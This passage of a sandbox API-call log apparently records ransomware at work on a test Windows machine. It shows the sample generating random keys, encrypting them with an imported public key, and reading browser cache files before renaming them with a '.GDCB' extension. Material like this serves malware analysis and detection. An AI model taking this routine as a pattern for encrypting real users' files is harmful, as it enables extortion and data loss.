phProv=0x285d73c*=0x5c4e48) returned 1 [0222.646] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485dc0) returned 1 [0222.646] CryptGetKeyParam (in: hKey=0x6485dc0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.647] CryptEncrypt (in: hKey=0x6485dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7650000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7650000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.647] GetLastError () returned 0x0 [0222.647] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.647] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.666] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0222.668] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.669] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0222.669] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.669] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0222.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.672] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.672] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0222.672] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.672] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0222.674] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x648b1c0) returned 1 [0222.674] CryptGetKeyParam (in: hKey=0x648b1c0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0222.674] CryptEncrypt (in: hKey=0x648b1c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7660000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0x7660000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0222.674] GetLastError () returned 0x0 [0222.674] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.674] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0222.676] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6485940) returned 1 [0222.676] CryptGetKeyParam (in: hKey=0x6485940, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0222.676] CryptEncrypt (in: hKey=0x6485940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7670000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0x7670000*, pdwDataLen=0x285db40*=0x100) returned 1 [0222.676] GetLastError () returned 0x0 [0222.676] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.676] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.681] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.684] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.684] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.687] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.688] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.688] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.688] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.688] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.691] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485a00) returned 1 [0222.691] CryptGetKeyParam (in: hKey=0x6485a00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.691] CryptEncrypt (in: hKey=0x6485a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7680000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7680000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.691] GetLastError () returned 0x0 [0222.691] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.691] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.693] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485e40) returned 1 [0222.693] CryptGetKeyParam (in: hKey=0x6485e40, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.693] CryptEncrypt (in: hKey=0x6485e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7690000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7690000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.693] GetLastError () returned 0x0 [0222.693] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.693] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.697] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0222.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.700] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.700] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.700] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.703] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.703] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.703] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.705] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485ac0) returned 1 [0222.705] CryptGetKeyParam (in: hKey=0x6485ac0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.705] CryptEncrypt (in: hKey=0x6485ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76a0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x76a0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.706] GetLastError () returned 0x0 [0222.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.706] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.708] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485e80) returned 1 [0222.708] CryptGetKeyParam (in: hKey=0x6485e80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.708] CryptEncrypt (in: hKey=0x6485e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76b0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x76b0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.708] GetLastError () returned 0x0 [0222.708] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.708] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.711] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0222.713] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.714] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.714] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.714] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.714] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0222.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.716] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.717] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.717] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.717] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.719] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485b00) returned 1 [0222.719] CryptGetKeyParam (in: hKey=0x6485b00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.719] CryptEncrypt (in: hKey=0x6485b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76c0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x76c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.719] GetLastError () returned 0x0 [0222.719] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.719] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.721] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486180) returned 1 [0222.721] CryptGetKeyParam (in: hKey=0x6486180, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.721] CryptEncrypt (in: hKey=0x6486180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x76d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.722] GetLastError () returned 0x0 [0222.722] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.722] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.769] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.771] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.772] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.772] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.772] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.774] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.775] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.775] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.775] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.775] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0222.778] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486740) returned 1 [0222.778] CryptGetKeyParam (in: hKey=0x6486740, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.778] CryptEncrypt (in: hKey=0x6486740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76e0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x76e0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.778] GetLastError () returned 0x0 [0222.778] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.778] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.780] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64865c0) returned 1 [0222.780] CryptGetKeyParam (in: hKey=0x64865c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.780] CryptEncrypt (in: hKey=0x64865c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76f0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x76f0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.780] GetLastError () returned 0x0 [0222.780] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.780] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0222.782] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7700000 [0222.783] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7710000 [0222.785] ReadFile (in: hFile=0x50c, lpBuffer=0x7710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7710000*, lpNumberOfBytesRead=0x285d8f8*=0x140af, lpOverlapped=0x0) returned 1 [0222.793] VirtualAlloc (lpAddress=0x0, dwSize=0x140b0, flAllocationType=0x3000, flProtect=0x4) returned 0x7820000 [0222.800] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml.gdcb")) returned 1 [0222.889] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0222.892] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.893] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.893] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0222.893] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.893] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0222.894] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.895] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0222.895] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.896] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0222.898] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486700) returned 1 [0222.898] CryptGetKeyParam (in: hKey=0x6486700, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.898] CryptEncrypt (in: hKey=0x6486700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x76e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0222.898] GetLastError () returned 0x0 [0222.898] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.898] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0222.900] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486200) returned 1 [0222.900] CryptGetKeyParam (in: hKey=0x6486200, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.900] CryptEncrypt (in: hKey=0x6486200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x76f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0222.900] GetLastError () returned 0x0 [0222.900] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.900] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\OfflineCache\\index.sqlite" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0222.902] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7700000 [0222.903] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7710000 [0222.905] ReadFile (in: hFile=0x520, lpBuffer=0x7710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x7710000*, lpNumberOfBytesRead=0x285d3e8*=0x40210, lpOverlapped=0x0) returned 1 [0222.913] VirtualAlloc (lpAddress=0x0, dwSize=0x40210, flAllocationType=0x3000, flProtect=0x4) returned 0x7820000 [0222.924] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\OfflineCache\\index.sqlite" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\OfflineCache\\index.sqlite.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\offlinecache\\index.sqlite.gdcb")) returned 1 [0222.951] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0222.953] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.954] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0222.954] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.954] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0222.955] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.956] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.956] 